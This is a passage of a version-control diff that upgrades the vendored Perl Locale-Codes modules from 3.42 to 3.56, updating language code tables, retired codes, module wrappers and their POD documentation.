+      q(0188) => q(sqs),
+      q(0189) => q(ssh),
+      q(0190) => q(ssp),
+      q(0191) => q(ssr),
+      q(0192) => q(svk),
+      q(0193) => q(swc),
+      q(0194) => q(swh),
+      q(0195) => q(swl),
+      q(0196) => q(syy),
+      q(0197) => q(szs),
       q(0198) => q(tmw),
       q(0199) => q(tse),
       q(0200) => q(tsm),
@@ -2866,20 +2877,21 @@
       q(0215) => q(vsi),
       q(0216) => q(vsl),
       q(0217) => q(vsv),
-      q(0218) => q(wuu),
-      q(0219) => q(xki),
-      q(0220) => q(xml),
-      q(0221) => q(xmm),
-      q(0222) => q(xms),
-      q(0223) => q(ygs),
-      q(0224) => q(yhs),
-      q(0225) => q(ysl),
-      q(0226) => q(yue),
-      q(0227) => q(zib),
-      q(0228) => q(zlm),
-      q(0229) => q(zmi),
-      q(0230) => q(zsl),
-      q(0231) => q(zsm),
+      q(0218) => q(wbs),
+      q(0219) => q(wuu),
+      q(0220) => q(xki),
+      q(0221) => q(xml),
+      q(0222) => q(xmm),
+      q(0223) => q(xms),
+      q(0224) => q(ygs),
+      q(0225) => q(yhs),
+      q(0226) => q(ysl),
+      q(0227) => q(yue),
+      q(0228) => q(zib),
+      q(0229) => q(zlm),
+      q(0230) => q(zmi),
+      q(0231) => q(zsl),
+      q(0232) => q(zsm),
       },
 };
 

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangExt_Retired.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangExt_Retired.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangExt_Retired.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'deprecate_codes' is run.
-#    Generated on: Fri Nov 18 09:22:54 EST 2016
+#    Generated on: Fri Feb 23 12:58:17 EST 2018
 
 use strict;
 require 5.006;
@@ -11,14 +11,16 @@
 use utf8;
 
 our($VERSION);
-$VERSION='3.42';
+$VERSION='3.56';
 
 $Locale::Codes::Retired{'langext'}{'alpha'}{'code'} = {
+   q(rsi) => q(Rennellese Sign Language),
    q(yds) => q(Yiddish Sign Language),
 };
 
 $Locale::Codes::Retired{'langext'}{'alpha'}{'name'} = {
    q(hawai'i pidgin sign language) => [ q(hps), q(Hawai'i Pidgin Sign Language) ],
+   q(rennellese sign language) => [ q(rsi), q(Rennellese Sign Language) ],
    q(yiddish sign language) => [ q(yds), q(Yiddish Sign Language) ],
 };
 

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangFam.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangFam.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangFam.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,95 +1,94 @@
 package Locale::Codes::LangFam;
-# Copyright (c) 2011-2016 Sullivan Beck
+# Copyright (C) 2001      Canon Research Centre Europe (CRE).
+# Copyright (C) 2002-2009 Neil Bowers
+# Copyright (c) 2010-2018 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
+# This file was automatically generated.  Any changes to this file will
+# be lost the next time 'gen_mods' is run.
+#    Generated on: Fri Feb 23 12:55:25 EST 2018
+
 use strict;
+use warnings;
 require 5.006;
-use warnings;
+use Exporter qw(import);
 
-require Exporter;
-use Carp;
+our($VERSION, at EXPORT);
+$VERSION   = '3.56';
+
+################################################################################
+use if $] >= 5.027007, 'deprecate';
 use Locale::Codes;
 use Locale::Codes::Constants;
-use Locale::Codes::LangFam_Codes;
-use Locale::Codes::LangFam_Retired;
 
-#=======================================================================
-#       Public Global Variables
-#=======================================================================
-
-our($VERSION, at ISA, at EXPORT, at EXPORT_OK);
-
-$VERSION='3.42';
- at ISA       = qw(Exporter);
- at EXPORT    = qw(code2langfam
+ at EXPORT    = qw(
+                code2langfam
                 langfam2code
                 all_langfam_codes
                 all_langfam_names
                 langfam_code2code
-                LOCALE_LANGFAM_ALPHA
                );
+push(@EXPORT, at Locale::Codes::Constants::CONSTANTS_LANGFAM);
 
+our $obj = new Locale::Codes('langfam');
+$obj->show_errors(0);
+
+sub show_errors {
+   my($val) = @_;
+   $obj->show_errors($val);
+}
+
 sub code2langfam {
-   return Locale::Codes::_code2name('langfam', at _);
+   return $obj->code2name(@_);
 }
 
 sub langfam2code {
-   return Locale::Codes::_name2code('langfam', at _);
+   return $obj->name2code(@_);
 }
 
 sub langfam_code2code {
-   return Locale::Codes::_code2code('langfam', at _);
+   return $obj->code2code(@_);
 }
 
 sub all_langfam_codes {
-   return Locale::Codes::_all_codes('langfam', at _);
+   return $obj->all_codes(@_);
 }
 
 sub all_langfam_names {
-   return Locale::Codes::_all_names('langfam', at _);
+   return $obj->all_names(@_);
 }
 
 sub rename_langfam {
-   return Locale::Codes::_rename('langfam', at _);
+   return $obj->rename_code(@_);
 }
 
 sub add_langfam {
-   return Locale::Codes::_add_code('langfam', at _);
+   return $obj->add_code(@_);
 }
 
 sub delete_langfam {
-   return Locale::Codes::_delete_code('langfam', at _);
+   return $obj->delete_code(@_);
 }
 
 sub add_langfam_alias {
-   return Locale::Codes::_add_alias('langfam', at _);
+   return $obj->add_alias(@_);
 }
 
 sub delete_langfam_alias {
-   return Locale::Codes::_delete_alias('langfam', at _);
+   return $obj->delete_alias(@_);
 }
 
 sub rename_langfam_code {
-   return Locale::Codes::_rename_code('langfam', at _);
+   return $obj->replace_code(@_);
 }
 
 sub add_langfam_code_alias {
-   return Locale::Codes::_add_code_alias('langfam', at _);
+   return $obj->add_code_alias(@_);
 }
 
 sub delete_langfam_code_alias {
-   return Locale::Codes::_delete_code_alias('langfam', at _);
+   return $obj->delete_code_alias(@_);
 }
 
 1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangFam.pod
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangFam.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangFam.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,14 +2,14 @@
 
 =head1 NAME
 
-Locale::Codes::LangFam - standard codes for language extension identification
+Locale::Codes::LangFam - module for dealing with langfam code sets
 
 =head1 SYNOPSIS
 
    use Locale::Codes::LangFam;
 
-   $lext = code2langfam('apa');                 # $lext gets 'Apache languages'
-   $code = langfam2code('Apache languages');    # $code gets 'apa'
+   $name = code2langfam(CODE);
+   $code = langfam2code(NAME);
 
    @codes   = all_langfam_codes();
    @names   = all_langfam_names();
@@ -16,70 +16,94 @@
 
 =head1 DESCRIPTION
 
-This module provides access to standard codes
-used for identifying language families, such as those as defined in
-ISO 639-5.
+This module provides access to langfam code sets.
 
+Please refer to the L<Locale::Codes::Types> document for a description
+of the code sets available.
+
 Most of the routines take an optional additional argument which
-specifies the code set to use. If not specified, the default ISO 639-5
-language family codes will be used.
+specifies the code set to use. The code set can be specified using the
+name of a code set, or the perl constant specified in the above
+document.  If not specified, the default code set will be used.
 
-=head1 SUPPORTED CODE SETS
+=head1 ROUTINES
 
-There are several different code sets you can use for identifying
-language families. A code set may be specified using either a name, or a
-constant that is automatically exported by this module.
+All routines in this module call the appropriate method in the
+L<Locale::Codes> module, using an object of type: langfam
+Please refer to the documentation of the L<Locale::Codes> module
+for details about each function.
 
-For example, the two are equivalent:
+The following functions are exported automatically:
 
-   $lext = code2langfam('apa','alpha');
-   $lext = code2langfam('apa',LOCALE_LANGFAM_ALPHA);
+=over 4
 
-The codesets currently supported are:
+=item B<code2langfam(CODE [,CODESET] [,'retired'])>
 
-=over 4
+See B<code2name> in L<Locale::Codes>
 
-=item B<alpha>
+=item B<langfam2code(NAME [,CODESET] [,'retired'])>
 
-This is the set of three-letter (lowercase) codes from ISO 639-5
-such as 'apa' for Apache languages.
+See B<name2code> in L<Locale::Codes>
 
-This is the default code set.
+=item B<langfam_code2code(CODE ,CODESET ,CODESET2)>
 
+See B<code2code> in L<Locale::Codes>
+
+=item B<all_langfam_codes([CODESET] [,'retired'])>
+
+See B<all_codes> in L<Locale::Codes>
+
+=item B<all_langfam_names([CODESET] [,'retired'])>
+
+See B<all_names> in L<Locale::Codes>
+
 =back
 
-=head1 ROUTINES
+The following functions are not exported and must be called fully
+qualified with the package name:
 
 =over 4
 
-=item B<code2langfam(CODE [,CODESET] [,'retired'])>
+=item B<Locale::Codes::Langfam::show_errors(FLAG)>
 
-=item B<langfam2code(NAME [,CODESET] [,'retired'])>
+By default, invalid input will produce empty results, but no errors.  By
+passing in a non-zero value of FLAG, errors will be produced.
 
-=item B<langfam_code2code(CODE ,CODESET ,CODESET2)>
+See B<show_errors> in L<Locale::Codes> but note that the default for
+the non-OO modules are to NOT produce errors.
 
-=item B<all_langfam_codes([CODESET] [,'retired'])>
+=item B<Locale::Codes::Langfam::rename_langfam(CODE ,NEW_NAME [,CODESET])>
 
-=item B<all_langfam_names([CODESET] [,'retired'])>
+See B<rename_code> in L<Locale::Codes>
 
-=item B<Locale::Codes::LangFam::rename_langfam(CODE ,NEW_NAME [,CODESET])>
+=item B<Locale::Codes::Langfam::add_langfam(CODE ,NAME [,CODESET])>
 
-=item B<Locale::Codes::LangFam::add_langfam(CODE ,NAME [,CODESET])>
+See B<add_code> in L<Locale::Codes>
 
-=item B<Locale::Codes::LangFam::delete_langfam(CODE [,CODESET])>
+=item B<Locale::Codes::Langfam::delete_langfam(CODE [,CODESET])>
 
-=item B<Locale::Codes::LangFam::add_langfam_alias(NAME ,NEW_NAME)>
+See B<delete_code> in L<Locale::Codes>
 
-=item B<Locale::Codes::LangFam::delete_langfam_alias(NAME)>
+=item B<Locale::Codes::Langfam::add_langfam_alias(NAME ,NEW_NAME)>
 
-=item B<Locale::Codes::LangFam::rename_langfam_code(CODE ,NEW_CODE [,CODESET])>
+See B<add_alias> in L<Locale::Codes>
 
-=item B<Locale::Codes::LangFam::add_langfam_code_alias(CODE ,NEW_CODE [,CODESET])>
+=item B<Locale::Codes::Langfam::delete_langfam_alias(NAME)>
 
-=item B<Locale::Codes::LangFam::delete_langfam_code_alias(CODE [,CODESET])>
+See B<delete_alias> in L<Locale::Codes>
 
-These routines are all documented in the L<Locale::Codes::API> man page.
+=item B<Locale::Codes::Langfam::rename_langfam_code(CODE ,NEW_CODE [,CODESET])>
 
+See B<replace_code> in L<Locale::Codes>
+
+=item B<Locale::Codes::Langfam::add_langfam_code_alias(CODE ,NEW_CODE [,CODESET])>
+
+See B<add_code_alias> in L<Locale::Codes>
+
+=item B<Locale::Codes::Langfam::delete_langfam_code_alias(CODE [,CODESET])>
+
+See B<delete_code_alias> in L<Locale::Codes>
+
 =back
 
 =head1 SEE ALSO
@@ -90,14 +114,6 @@
 
 The Locale-Codes distribution.
 
-=item L<Locale::Codes::API>
-
-The list of functions supported by this module.
-
-=item L<http://www.loc.gov/standards/iso639-5/id.php>
-
-ISO 639-5 .
-
 =back
 
 =head1 AUTHOR
@@ -108,7 +124,7 @@
 
 =head1 COPYRIGHT
 
-   Copyright (c) 2011-2016 Sullivan Beck
+   Copyright (c) 2011-2018 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangFam_Codes.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangFam_Codes.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangFam_Codes.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'harvest_data' is run.
-#    Generated on: Fri Nov 18 09:18:43 EST 2016
+#    Generated on: Fri Feb 23 12:55:15 EST 2018
 
 use strict;
 require 5.006;
@@ -11,7 +11,7 @@
 use utf8;
 
 our($VERSION);
-$VERSION='3.42';
+$VERSION='3.56';
 
 $Locale::Codes::Data{'langfam'}{'id'} = '0116';
 

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangFam_Retired.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangFam_Retired.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangFam_Retired.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,7 +10,7 @@
 require 5.002;
 
 our($VERSION);
-$VERSION='3.42';
+$VERSION='3.56';
 
 $Locale::Codes::Retired{'langfam'}{'alpha'}{'code'} = {
 };

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangVar.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangVar.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangVar.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,96 +1,94 @@
 package Locale::Codes::LangVar;
-# Copyright (c) 2011-2016 Sullivan Beck
+# Copyright (C) 2001      Canon Research Centre Europe (CRE).
+# Copyright (C) 2002-2009 Neil Bowers
+# Copyright (c) 2010-2018 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
+# This file was automatically generated.  Any changes to this file will
+# be lost the next time 'gen_mods' is run.
+#    Generated on: Fri Feb 23 12:55:25 EST 2018
+
 use strict;
+use warnings;
 require 5.006;
-use warnings;
+use Exporter qw(import);
 
-require Exporter;
-use Carp;
+our($VERSION, at EXPORT);
+$VERSION   = '3.56';
+
+################################################################################
+use if $] >= 5.027007, 'deprecate';
 use Locale::Codes;
 use Locale::Codes::Constants;
-use Locale::Codes::LangVar_Codes;
-use Locale::Codes::LangVar_Retired;
 
-#=======================================================================
-#       Public Global Variables
-#=======================================================================
-
-our($VERSION, at ISA, at EXPORT, at EXPORT_OK);
-
-$VERSION='3.42';
- at ISA       = qw(Exporter);
- at EXPORT    = qw(code2langvar
+ at EXPORT    = qw(
+                code2langvar
                 langvar2code
                 all_langvar_codes
                 all_langvar_names
                 langvar_code2code
-                LOCALE_LANGVAR_ALPHA
                );
+push(@EXPORT, at Locale::Codes::Constants::CONSTANTS_LANGVAR);
 
+our $obj = new Locale::Codes('langvar');
+$obj->show_errors(0);
+
+sub show_errors {
+   my($val) = @_;
+   $obj->show_errors($val);
+}
+
 sub code2langvar {
-   return Locale::Codes::_code2name('langvar', at _);
+   return $obj->code2name(@_);
 }
 
 sub langvar2code {
-   return Locale::Codes::_name2code('langvar', at _);
+   return $obj->name2code(@_);
 }
 
 sub langvar_code2code {
-
-   return Locale::Codes::_code2code('langvar', at _);
+   return $obj->code2code(@_);
 }
 
 sub all_langvar_codes {
-   return Locale::Codes::_all_codes('langvar', at _);
+   return $obj->all_codes(@_);
 }
 
 sub all_langvar_names {
-   return Locale::Codes::_all_names('langvar', at _);
+   return $obj->all_names(@_);
 }
 
 sub rename_langvar {
-   return Locale::Codes::_rename('langvar', at _);
+   return $obj->rename_code(@_);
 }
 
 sub add_langvar {
-   return Locale::Codes::_add_code('langvar', at _);
+   return $obj->add_code(@_);
 }
 
 sub delete_langvar {
-   return Locale::Codes::_delete_code('langvar', at _);
+   return $obj->delete_code(@_);
 }
 
 sub add_langvar_alias {
-   return Locale::Codes::_add_alias('langvar', at _);
+   return $obj->add_alias(@_);
 }
 
 sub delete_langvar_alias {
-   return Locale::Codes::_delete_alias('langvar', at _);
+   return $obj->delete_alias(@_);
 }
 
 sub rename_langvar_code {
-   return Locale::Codes::_rename_code('langvar', at _);
+   return $obj->replace_code(@_);
 }
 
 sub add_langvar_code_alias {
-   return Locale::Codes::_add_code_alias('langvar', at _);
+   return $obj->add_code_alias(@_);
 }
 
 sub delete_langvar_code_alias {
-   return Locale::Codes::_delete_code_alias('langvar', at _);
+   return $obj->delete_code_alias(@_);
 }
 
 1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangVar.pod
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangVar.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangVar.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,14 +2,14 @@
 
 =head1 NAME
 
-Locale::Codes::LangVar - standard codes for language variation identification
+Locale::Codes::LangVar - module for dealing with langvar code sets
 
 =head1 SYNOPSIS
 
    use Locale::Codes::LangVar;
 
-   $lvar = code2langvar('acm');                 # $lvar gets 'Mesopotamian Arabic'
-   $code = langvar2code('Mesopotamian Arabic'); # $code gets 'acm'
+   $name = code2langvar(CODE);
+   $code = langvar2code(NAME);
 
    @codes   = all_langvar_codes();
    @names   = all_langvar_names();
@@ -16,72 +16,94 @@
 
 =head1 DESCRIPTION
 
-This module provides access to standard codes
-used for identifying language variations, such as those as defined in
-the IANA language registry.
+This module provides access to langvar code sets.
 
+Please refer to the L<Locale::Codes::Types> document for a description
+of the code sets available.
+
 Most of the routines take an optional additional argument which
-specifies the code set to use. If not specified, the default IANA
-language registry codes will be used.
+specifies the code set to use. The code set can be specified using the
+name of a code set, or the perl constant specified in the above
+document.  If not specified, the default code set will be used.
 
-=head1 SUPPORTED CODE SETS
+=head1 ROUTINES
 
-There are several different code sets you can use for identifying
-language variations. A code set may be specified using either a name, or a
-constant that is automatically exported by this module.
+All routines in this module call the appropriate method in the
+L<Locale::Codes> module, using an object of type: langvar
+Please refer to the documentation of the L<Locale::Codes> module
+for details about each function.
 
-For example, the two are equivalent:
+The following functions are exported automatically:
 
-   $lvar = code2langvar('arevela','alpha');
-   $lvar = code2langvar('arevela',LOCALE_LANGVAR_ALPHA);
+=over 4
 
-The codesets currently supported are:
+=item B<code2langvar(CODE [,CODESET] [,'retired'])>
 
-=over 4
+See B<code2name> in L<Locale::Codes>
 
-=item B<alpha>
+=item B<langvar2code(NAME [,CODESET] [,'retired'])>
 
-This is the set of alphanumeric codes from the IANA
-language registry, such as 'arevela' for Eastern Armenian.
+See B<name2code> in L<Locale::Codes>
 
-This code set is identified with the symbol C<LOCALE_LANGVAR_ALPHA>.
+=item B<langvar_code2code(CODE ,CODESET ,CODESET2)>
 
-This is the default code set.
+See B<code2code> in L<Locale::Codes>
 
+=item B<all_langvar_codes([CODESET] [,'retired'])>
+
+See B<all_codes> in L<Locale::Codes>
+
+=item B<all_langvar_names([CODESET] [,'retired'])>
+
+See B<all_names> in L<Locale::Codes>
+
 =back
 
-=head1 ROUTINES
+The following functions are not exported and must be called fully
+qualified with the package name:
 
 =over 4
 
-=item B<code2langvar(CODE [,CODESET] [,'retired'])>
+=item B<Locale::Codes::Langvar::show_errors(FLAG)>
 
-=item B<langvar2code(NAME [,CODESET] [,'retired'])>
+By default, invalid input will produce empty results, but no errors.  By
+passing in a non-zero value of FLAG, errors will be produced.
 
-=item B<langvar_code2code(CODE ,CODESET ,CODESET2)>
+See B<show_errors> in L<Locale::Codes> but note that the default for
+the non-OO modules are to NOT produce errors.
 
-=item B<all_langvar_codes([CODESET] [,'retired'])>
+=item B<Locale::Codes::Langvar::rename_langvar(CODE ,NEW_NAME [,CODESET])>
 
-=item B<all_langvar_names([CODESET] [,'retired'])>
+See B<rename_code> in L<Locale::Codes>
 
-=item B<Locale::Codes::LangVar::rename_langvar(CODE ,NEW_NAME [,CODESET])>
+=item B<Locale::Codes::Langvar::add_langvar(CODE ,NAME [,CODESET])>
 
-=item B<Locale::Codes::LangVar::add_langvar(CODE ,NAME [,CODESET])>
+See B<add_code> in L<Locale::Codes>
 
-=item B<Locale::Codes::LangVar::delete_langvar(CODE [,CODESET])>
+=item B<Locale::Codes::Langvar::delete_langvar(CODE [,CODESET])>
 
-=item B<Locale::Codes::LangVar::add_langvar_alias(NAME ,NEW_NAME)>
+See B<delete_code> in L<Locale::Codes>
 
-=item B<Locale::Codes::LangVar::delete_langvar_alias(NAME)>
+=item B<Locale::Codes::Langvar::add_langvar_alias(NAME ,NEW_NAME)>
 
-=item B<Locale::Codes::LangVar::rename_langvar_code(CODE ,NEW_CODE [,CODESET])>
+See B<add_alias> in L<Locale::Codes>
 
-=item B<Locale::Codes::LangVar::add_langvar_code_alias(CODE ,NEW_CODE [,CODESET])>
+=item B<Locale::Codes::Langvar::delete_langvar_alias(NAME)>
 
-=item B<Locale::Codes::LangVar::delete_langvar_code_alias(CODE [,CODESET])>
+See B<delete_alias> in L<Locale::Codes>
 
-These routines are all documented in the L<Locale::Codes::API> man page.
+=item B<Locale::Codes::Langvar::rename_langvar_code(CODE ,NEW_CODE [,CODESET])>
 
+See B<replace_code> in L<Locale::Codes>
+
+=item B<Locale::Codes::Langvar::add_langvar_code_alias(CODE ,NEW_CODE [,CODESET])>
+
+See B<add_code_alias> in L<Locale::Codes>
+
+=item B<Locale::Codes::Langvar::delete_langvar_code_alias(CODE [,CODESET])>
+
+See B<delete_code_alias> in L<Locale::Codes>
+
 =back
 
 =head1 SEE ALSO
@@ -92,14 +114,6 @@
 
 The Locale-Codes distribution.
 
-=item L<Locale::Codes::API>
-
-The list of functions supported by this module.
-
-=item L<http://www.iana.org/assignments/language-subtag-registry>
-
-The IANA language subtag registry.
-
 =back
 
 =head1 AUTHOR
@@ -110,7 +124,7 @@
 
 =head1 COPYRIGHT
 
-   Copyright (c) 2011-2016 Sullivan Beck
+   Copyright (c) 2011-2018 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangVar_Codes.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangVar_Codes.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangVar_Codes.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'harvest_data' is run.
-#    Generated on: Fri Nov 18 09:18:40 EST 2016
+#    Generated on: Fri Feb 23 12:55:14 EST 2018
 
 use strict;
 require 5.006;
@@ -11,9 +11,9 @@
 use utf8;
 
 our($VERSION);
-$VERSION='3.42';
+$VERSION='3.56';
 
-$Locale::Codes::Data{'langvar'}{'id'} = '0077';
+$Locale::Codes::Data{'langvar'}{'id'} = '0086';
 
 $Locale::Codes::Data{'langvar'}{'id2names'} = {
    q(0001) => [
@@ -45,132 +45,145 @@
       q(Boni dialect),
       ],
    q(0010) => [
+      q(Akuapem Twi),
+      ],
+   q(0011) => [
       q(Portuguese Language Orthographic Agreement of 1990 (Acordo Ortografico da Lingua Portuguesa de 1990)),
       ],
-   q(0011) => [
+   q(0012) => [
       q(Eastern Armenian),
       ],
-   q(0012) => [
+   q(0013) => [
       q(Western Armenian),
       ],
-   q(0013) => [
+   q(0014) => [
+      q(Asante Twi),
+      q(Ashanti Twi),
+      ],
+   q(0015) => [
       q(Unified Turkic Latin Alphabet (Historical)),
       ],
-   q(0014) => [
+   q(0016) => [
       q(The Balanka dialect of Anii),
       ],
-   q(0015) => [
+   q(0017) => [
       q(The Barlavento dialect group of Kabuverdianu),
       ],
-   q(0016) => [
+   q(0018) => [
       q(Basic English),
       ],
-   q(0017) => [
+   q(0019) => [
       q(Buddhist Hybrid Sanskrit),
       ],
-   q(0018) => [
+   q(0020) => [
       q(Biscayan dialect of Basque),
       ],
-   q(0019) => [
+   q(0021) => [
       q(The San Giorgio dialect of Resian),
       q(The Bila dialect of Resian),
       ],
-   q(0020) => [
+   q(0022) => [
       q(Slovene in Bohoric alphabet),
       ],
-   q(0021) => [
+   q(0023) => [
       q(Boontling),
       ],
-   q(0022) => [
+   q(0024) => [
       q(Portuguese-Brazilian Orthographic Convention of 1945 (Convencao Ortografica Luso-Brasileira de 1945)),
       ],
-   q(0023) => [
+   q(0025) => [
       q(Cornu-English),
       q(Cornish English),
       q(Anglo-Cornish),
       ],
-   q(0024) => [
+   q(0026) => [
       q(Slovene in Dajnko alphabet),
       ],
-   q(0025) => [
+   q(0027) => [
       q(Serbian with Ekavian pronunciation),
       ],
-   q(0026) => [
+   q(0028) => [
       q(Early Modern English (1500-1700)),
       ],
-   q(0027) => [
+   q(0029) => [
       q(International Phonetic Alphabet),
       ],
-   q(0028) => [
+   q(0030) => [
       q(North American Phonetic Alphabet),
       q(Americanist Phonetic Notation),
       ],
-   q(0029) => [
+   q(0031) => [
       q(Uralic Phonetic Alphabet),
       ],
-   q(0030) => [
+   q(0032) => [
       q(X-SAMPA transcription),
       ],
-   q(0031) => [
+   q(0033) => [
       q(Hepburn romanization),
       ],
-   q(0032) => [
+   q(0034) => [
       q(Norwegian in Hognorsk (High Norwegian) orthography),
       ],
-   q(0033) => [
+   q(0035) => [
+      q(Standard H-system orthographic fallback for spelling Esperanto),
+      ],
+   q(0036) => [
       q(Serbian with Ijekavian pronunciation),
       ],
-   q(0034) => [
+   q(0037) => [
       q(Epic Sanskrit),
       ],
-   q(0035) => [
+   q(0038) => [
+      q(Bulgarian in 1899 orthography),
+      ],
+   q(0039) => [
       q(Jauer dialect of Romansh),
       ],
-   q(0036) => [
+   q(0040) => [
       q(Jyutping Cantonese Romanization),
       ],
-   q(0037) => [
+   q(0041) => [
       q(Common Cornish orthography of Revived Cornish),
       ],
-   q(0038) => [
+   q(0042) => [
       q(The Kociewie dialect of Polish),
       ],
-   q(0039) => [
+   q(0043) => [
       q(Standard Cornish orthography of Revived Cornish),
       q(Kernowek Standard),
       ],
-   q(0040) => [
+   q(0044) => [
       q(Classical Sanskrit),
       ],
-   q(0041) => [
+   q(0045) => [
       q(The Lipovaz dialect of Resian),
       q(The Lipovec dialect of Resian),
       ],
-   q(0042) => [
+   q(0046) => [
       q(Post-1917 Russian orthography),
       ],
-   q(0043) => [
+   q(0047) => [
       q(Slovene in Metelko alphabet),
       ],
-   q(0044) => [
+   q(0048) => [
       q(Monotonic Greek),
       ],
-   q(0045) => [
+   q(0049) => [
       q(Ndyuka dialect),
       q(Aukan dialect),
       ],
-   q(0046) => [
+   q(0050) => [
       q(Natisone dialect),
       q(Nadiza dialect),
       ],
-   q(0047) => [
+   q(0051) => [
       q(Newfoundland English),
       ],
-   q(0048) => [
+   q(0052) => [
       q(The Gniva dialect of Resian),
       q(The Njiva dialect of Resian),
       ],
-   q(0049) => [
+   q(0053) => [
       q(Volapuk nulik),
       q(Volapuk perevidol),
       q(Volapuk nuladik),
@@ -179,94 +192,109 @@
       q(Revised Volapuk),
       q(Modern Volapuk),
       ],
-   q(0050) => [
+   q(0054) => [
       q(The Oseacco dialect of Resian),
       q(The Osojane dialect of Resian),
       ],
-   q(0051) => [
+   q(0055) => [
       q(Oxford English Dictionary spelling),
       ],
-   q(0052) => [
+   q(0056) => [
+      q(Pahawh Hmong Second Stage Reduced orthography),
+      ],
+   q(0057) => [
+      q(Pahawh Hmong Third Stage Reduced orthography),
+      ],
+   q(0058) => [
+      q(Pahawh Hmong Final Version orthography),
+      ],
+   q(0059) => [
       q(Pamaka dialect),
       ],
-   q(0053) => [
+   q(0060) => [
       q(Petrine orthography),
       ],
-   q(0054) => [
+   q(0061) => [
       q(Pinyin romanization),
       ],
-   q(0055) => [
+   q(0062) => [
       q(Polytonic Greek),
       ],
-   q(0056) => [
+   q(0063) => [
       q(Puter idiom of Romansh),
       ],
-   q(0057) => [
+   q(0064) => [
       q(Volapuk rigik),
       q(Schleyer's Volapuk),
       q(Original Volapuk),
       q(Classic Volapuk),
       ],
-   q(0058) => [
+   q(0065) => [
       q(Resian),
       q(Resianic),
       q(Rezijan),
       ],
-   q(0059) => [
+   q(0066) => [
       q(Rumantsch Grischun),
       ],
-   q(0060) => [
+   q(0067) => [
       q(Scottish Standard English),
       ],
-   q(0061) => [
+   q(0068) => [
       q(Scouse),
       ],
-   q(0062) => [
+   q(0069) => [
       q(Simplified form),
       ],
-   q(0063) => [
+   q(0070) => [
       q(The Stolvizza dialect of Resian),
       q(The Solbica dialect of Resian),
       ],
-   q(0064) => [
+   q(0071) => [
       q(The Sotavento dialect group of Kabuverdianu),
       ],
-   q(0065) => [
+   q(0072) => [
+      q(Spanglish),
+      ],
+   q(0073) => [
       q(Surmiran idiom of Romansh),
       ],
-   q(0066) => [
+   q(0074) => [
       q(Sursilvan idiom of Romansh),
       ],
-   q(0067) => [
+   q(0075) => [
       q(Sutsilvan idiom of Romansh),
       ],
-   q(0068) => [
+   q(0076) => [
       q(Belarusian in Taraskievica orthography),
       ],
-   q(0069) => [
+   q(0077) => [
       q(Unified Cornish orthography of Revived Cornish),
       ],
-   q(0070) => [
+   q(0078) => [
       q(Unified Cornish Revised orthography of Revived Cornish),
       ],
-   q(0071) => [
+   q(0079) => [
       q(Ulster dialect of Scots),
       ],
-   q(0072) => [
+   q(0080) => [
